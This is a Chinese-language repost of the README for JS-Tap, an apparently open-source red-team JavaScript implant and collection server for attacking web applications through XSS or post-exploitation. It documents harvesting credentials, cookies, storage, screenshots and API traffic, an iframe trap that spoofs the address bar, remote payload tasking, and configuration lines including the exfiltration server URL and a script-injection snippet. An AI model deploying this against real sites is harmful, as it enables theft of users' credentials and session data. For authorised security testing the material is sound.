目录导航
JS-Tap简介
JS-Tap 是一种通用 JavaScript 负载和支持软件,可帮助红队攻击 Web 应用程序。JS-Tap 有效负载可用作 XSS 有效负载或用作后利用植入物。
有效负载不需要运行有效负载的目标用户对被攻击的应用程序进行身份验证,并且除了找到将 JavaScript 引入应用程序的方法之外,不需要任何应用程序的经验知识。
JS-Tap 并不攻击应用程序服务器本身,而是专注于应用程序的客户端并大量检测客户端代码。
JS-Tap 有效负载包含在telemlib.js文件中。该文件未被混淆。在参与行动之前,强烈考虑更改端点的命名、删除注释以及高度混淆有效负载。
在公开服务器上使用之前,请确保仔细查看下面的配置部分。如果你不更改密钥,你的日子就会很糟糕。
收集的数据
- 客户端IP地址、操作系统、浏览器
- 用户输入(凭据等)
- 访问的网址
- Cookie(没有设置httponly标志)
- 本地存储
- 会话存储
- 访问页面的 HTML 代码(如果启用该功能)
- 访问页面的屏幕截图
- XHR API 调用的副本(如果启用了 Monkeypatch 功能)
- 端点
- 方法(GET、POST 等)
- 标头集
- 请求体和响应体
- Fetch API 调用的副本(如果启用了 Monkeypatch 功能)
- 端点
- 方法(GET、POST 等)
- 标头集
- 请求体和响应体
注意:接收 XHR 副本和 Fetch API 调用的能力在陷阱模式下工作。在植入模式下,当前只能复制 Fetch API。
操作模式
有效负载有两种操作模式。无论模式是trap还是implant ,都在initGlobals()函数中设置,搜索window.taperMode变量。
陷阱模式
陷阱模式通常是用作 XSS 有效负载的模式。XSS 有效负载的执行通常是短暂的,查看恶意 JavaScript 有效负载运行页面的用户可能会关闭浏览器选项卡(该页面不有趣)或导航到应用程序中的其他位置。在这两种情况下,有效负载将从内存中删除并停止工作。JS-Tap 需要运行很长时间,否则您将无法收集有用的数据。
陷阱模式通过使用iFrame 陷阱技术建立持久性来解决此问题。JS-Tap 有效负载将创建一个完整的页面 iFrame,并在应用程序的其他位置启动用户。该起始页面必须提前配置。在initGlobals()函数中搜索window.taperstartingPage变量并将其设置为目标应用程序中适当的起始位置。
在陷阱模式下,JS-Tap 监视 iframe 陷阱中用户的位置,并欺骗浏览器的地址栏以匹配 iframe 的位置。
请注意,如果目标应用程序设置 CSP 或 X-Frame-Options 标头,则它必须允许来自同源或自身的 iFraming。基于 JavaScript 的 Framebuster 还可以阻止 iFrame 陷阱发挥作用。
另请注意,我很幸运地使用陷阱模式在应用程序的特定位置进行植入。
植入模式
如果您将有效负载直接添加到目标应用程序中,通常会使用植入模式。也许您在服务器上有一个 shell,用于托管应用程序的 JavaScript 文件。将有效负载添加到在整个应用程序中使用的 JavaScript 文件(jQuery、main.js 等)。哪个文件最理想实际上取决于相关应用程序以及它如何使用 JavaScript 文件。植入模式不需要配置起始页,并且不使用 iFrame 陷阱技术。
安装与启动
需要 python3。jsTapServer 需要大量依赖项,强烈建议您使用 python 虚拟环境来隔离服务器软件的库(或任何您喜欢的隔离方法)。
例子:
mkdir jsTapEnvironment
python3 -m venv jsTapEnvironment
source jsTapEnvironment/bin/activate
cd jsTapEnvironment
git clone https://github.com/hoodoer/JS-Tap
cd JS-Tap
pip3 install -r requirements.txt
run:
python3 jsTapServer.py
如果 jsTapServer 在启动时发现现有数据库,它会询问您是否要重新生成新的管理员密码,如果在数据库中找到现有客户端,它会询问您是否要删除它们。
请注意,在 Mac 上,我还必须在 python 之外安装 libmagic。
brew install libmagic
在本地使用 JS-Tap 没问题,但要正确使用,您需要在可公开访问的 VPS 上运行 JS-Tap 并使用有效证书配置 Flask。
配置(非常非常重要!)
jsTapServer.py 配置
密钥<——(已弃用)
注意:当前版本的 JS-Tap 每次启动都会随机生成此密钥。如果您运行的是旧副本,请确保您没有使用静态密钥。旧的注释如下:
最重要的更改是jsTapServer 使用的SECRET_KEY 。这是用于签署身份验证 cookie 的秘密。即使您在启动时重新生成新的管理员用户和密码,如果您不更改密钥,其他人也可以生成有效的 cookie 并访问您的服务器。
更改此值的默认值。我将其保留为静态,因为它使开发变得更加容易。搜索这一行:
app.config['SECRET_KEY'] = 'YOUR_NEW_SECRET_KEY'
或者只是切换到下面的注释行,该行在启动时动态生成新密钥。
代理模式
对于生产用途,JS-Tap 应该托管在公共服务器上,并具有来自像 Letscrypt 这样的人的适当的 SSL 证书。最简单的部署方法是允许 nginx 作为 JS-Tap 的前端并处理 LetsEncrypt 证书,然后将解密的流量作为本地 HTTP 流量转发到 JS-Tap(即 nginx 和 JS-Tap 运行在相同的 VPS)。
如果将proxyMode设置为 true,JS-Tap 服务器将以 HTTP 模式运行,并从X-Forwarded-For标头中获取客户端 IP 地址,该地址需要配置 nginx 来设置。
当proxyMode设置为 false 时,JS-Tap 将使用自签名证书运行,这对于测试很有用。客户端 IP 将从客户端的源 IP 中获取。
数据目录
dataDirectory参数告诉 JS-Tap 用于 SQLite 数据库和战利品目录的目录。并非所有“战利品”都存储在数据库中,尤其是屏幕截图和抓取的 HTML 文件则不然。
服务器端口
要更改服务器端口配置,请参阅jsTapServer.py的最后一行
app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
telemlib.js 配置
这些配置变量位于initGlobals()函数中。
JS-Tap 服务器位置
您需要使用它将连接回的 JS-Tap 服务器的 URL 配置有效负载。
window.taperexfilServer = "https://127.0.0.1:8444";
模式
设置为陷阱或植入 这是用变量设置的:
window.taperMode = "trap";
or
window.taperMode = "implant";
陷阱模式起始页
仅陷阱模式需要。请参阅上面操作模式部分的说明。
设置设置 iFrame 陷阱时用户启动的页面。
window.taperstartingPage = "http://targetapp.com/somestartpage";
客户标签
如果您同时针对多个应用程序或部署使用 JS-Tap,并希望获得加载的有效负载的视觉指示器,则非常有用。该标签字符串(保持简短!)被添加到 JS-Tap 门户中的客户端昵称之前。设置多个有效负载,每个有效负载都针对其所使用的应用程序进行适当的配置,并添加一个标签来指示客户端正在运行哪个应用程序。
window.taperTag = 'whatever';
自定义负载任务
用于设置客户端是否检查自定义负载任务以及检查频率。抖动设置 让您可以选择设置下限和上限修改器。将选取这两个数字之间的随机值并将其添加到检查延迟中。将它们设置为 0 和 0 以获得无抖动。
window.taperTaskCheck = true;
window.taperTaskCheckDelay = 5000;
window.taperTaskJitterBottom = -2000;
window.taperTaskJitterTop = 2000;
渗透 HTML
true/false 设置是否泄露所查看的每个页面的 HTML 代码副本。这是数据库中存储的最大尺寸的项目(屏幕截图不存储在数据库中)。
window.taperexfilHTML = true;
MonkeyPatch API
启用 XHR 和 Fetch API 的猴子修补。这适用于陷阱模式。在植入模式下,仅对 Fetch API 进行猴子修补。Monkeypatching 允许在运行时重写 JavaScript。启用此功能将重写 JavaScript 代码使用的 XHR 和 Fetch 网络 API,以便挖掘这些网络调用的内容。基于 jQuery 的网络调用不会在 XHR API 中捕获,jQuery 在底层使用该 API 进行网络调用。
window.monkeyPatchAPIs = true;
API调用后的截图
默认情况下,JS-Tap 将在用户导航到新页面后捕获新的屏幕截图。某些应用程序在加载新数据时不会更改其路径,这会导致丢失屏幕截图。JS-Tap 可以配置为在进行 XHR 或 Fetch API 调用后捕获新的屏幕截图。这些 API 调用通常用于检索要显示的新数据。提供了两种设置,一种是启用“API 调用后屏幕截图”,另一种是延迟(以毫秒为单位)。API 调用后 X 毫秒,JS-Tap 将捕获新的屏幕截图。
window.postApiCallScreenshot = true;
window.screenshotDelay = 1000;
JS-Tap 门户
使用服务器脚本在启动时提供的管理员凭据登录。
客户出现在左侧,选择一个将在右侧显示其事件(战利品)的时间序列。
客户列表可以按时间排序(第一次看到、最后收到的更新),并且可以过滤列表以仅显示“加星标”的客户。客户端列表上方还有一个快速过滤器搜索,可让您快速过滤具有输入字符串的客户端。如果您在有效负载配置中设置可选标签,则非常有用。可选标签显示在客户端昵称前面。
每个客户端都有一个“x”按钮(靠近星号按钮)。这允许您删除该客户端的会话,如果他们发送垃圾或无用的数据,您可以阻止该客户端提交未来的数据。
当 JS-Tap 有效负载启动时,它会从 JS-Tap 服务器检索会话。如果您想阻止所有新客户端会话出现问题,请选择顶部的“会话设置” ,您可以禁用新客户端会话。您还可以在此处阻止特定 IP 地址接收会话。
每个客户端都有一个“注释”功能。如果您发现该特定客户的重要信息(凭证、API 令牌等),您可以将其添加到客户注释中。查看完所有客户并做笔记后,顶部的“查看所有笔记”功能允许您一次性导出所有客户的所有笔记。
如果您想专注于特定的内容(例如屏幕截图),则可以按事件类型过滤事件列表。请注意,事件/战利品列表不会自动更新(客户端列表会自动更新)。如果您想加载客户端的最新事件,您需要在左侧再次选择客户端。
自定义有效负载
从版本 1.02 开始,有一个自定义负载功能。可以在 JS-Tap 门户中添加多个 JavaScript 有效负载,并在单个客户端、所有当前客户端上执行,或设置为在所有未来客户端上自动运行。有效负载可以在 JS-Tap 门户中写入/编辑,或从文件导入。有效负载也可以导出。导入有效负载的格式是简单的 JSON。JavaScript 代码和描述只是简单的 base64 编码。
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]
自定义有效负载的主用户界面位于顶部菜单栏。选择自定义有效负载以打开界面。任何现有的有效负载将显示在左侧的列表中。按钮栏允许您导入和导出列表。可以在右侧编辑有效负载。要加载现有有效负载进行编辑,请通过在“已保存的有效负载”列表中单击该有效负载来选择该有效负载。定义并保存有效负载后,您可以在客户端上执行它们。
在主自定义有效负载视图中,您可以针对所有当前客户端启动有效负载(运行有效负载按钮)。您还可以打开有效负载的自动运行属性,这意味着所有新客户端都将运行该有效负载。请注意,现有客户端不会根据自动运行设置运行负载。
您可以打开“重复有效负载”,当每个客户端检查任务时,将为每个客户端分配有效负载的任务。请记住,客户端检查自定义负载任务的速率是可变的,并且可以在主 JS-Tap 负载配置中更改该速率。可以使用自定义负载(调用updateTaskCheckInterval(newDelay)函数)更改该速率。任务检查延迟中的抖动可以使用updateTaskCheckJitter(newTop, newBottom)函数设置。
自定义负载 UI 中的“清除所有作业”按钮将从所有客户端的队列中删除所有自定义负载作业,并重置自动/重复运行切换。
要在单个客户端上运行有效负载,请使用您希望运行的特定客户端上的“运行有效负载”按钮,然后点击您希望使用的特定有效负载的运行按钮。您还可以在单个客户端上设置重复有效负载。
工具
工具子目录中包含一些工具。
客户端模拟器.py
对 jsTapServer 进行压力测试的脚本。适合大致确定服务器可以处理的客户端数量。请注意,运行 clientSimulator 脚本可能比实际的 jsTapServer 更消耗资源,因此您可能希望在单独的计算机上运行它。
脚本顶部是一个numClients变量,设置为要模拟的客户端数量。该脚本将为每个线程生成一个线程,检索客户端会话,并在模拟客户端时发送数据。
numClients = 50
希望未来的博客将展示如何配置 JS-Tap 以使用正确的数据库而不是 sqlite(它使用 sqlalchemy,因此不是硬切换)以及更好的服务器配置以更好地扩展。
您还需要配置运行 jsTapServer 的位置,以便 clientSimulator 连接到:
apiServer = "https://127.0.0.1:8444"
猴子补丁应用程序
一个用于测试 XHR/Fetch Monkeypatching 的简单应用程序,但可以为您提供一个简单的应用程序来测试一般有效负载。
运行:
python3 monkeyPatchLab.py
默认情况下,这将启动在以下位置运行的应用程序:
https://127.0.0.1:8443
按“注入 JS-Tap 有效负载”按钮将运行 JS-Tap 有效负载。这适用于注入或陷阱模式。您可能需要将 MonkeyPatchLab 应用程序指向新的 JS-Tap 服务器位置以加载有效负载文件,您可以在main.js的jectPayload()函数中找到此设置
function injectPayload()
{
document.head.appendChild(Object.assign(document.createElement('script'),
{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}
表单解析器.py
废弃的工具,是分析表单 HTML 并解析其参数的良好开端。旨在帮助自动生成 JavaScript 有效负载以定位表单帖子。
您应该能够在泄露的 HTML 文件上运行它。同样,这目前是废弃软件。
生成IntelReport.py
甚至不确定这是否有效。在 JS-Tap 的 Web UI 出现之前,generateIntelReport 脚本会梳理收集到的战利品并生成 PDF 报告。
演示
您可以在此处阅读有关 JS-Tap 的原始博客文章:
trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
迄今为止录制的最佳演示,来自 ShmooCon:
youtu.be/IDLMMiqV6ss ?si=XunvnVarqSIjx_x0&t=19814
在此网络研讨会中还可以看到演示:
youtu.be/-c3b5debhME? si=CtJRqpklov2xv7Um

项目地址
GitHub:
https://github.com/hoodoer/JS-Tap
下载地址
转载请注明出处及链接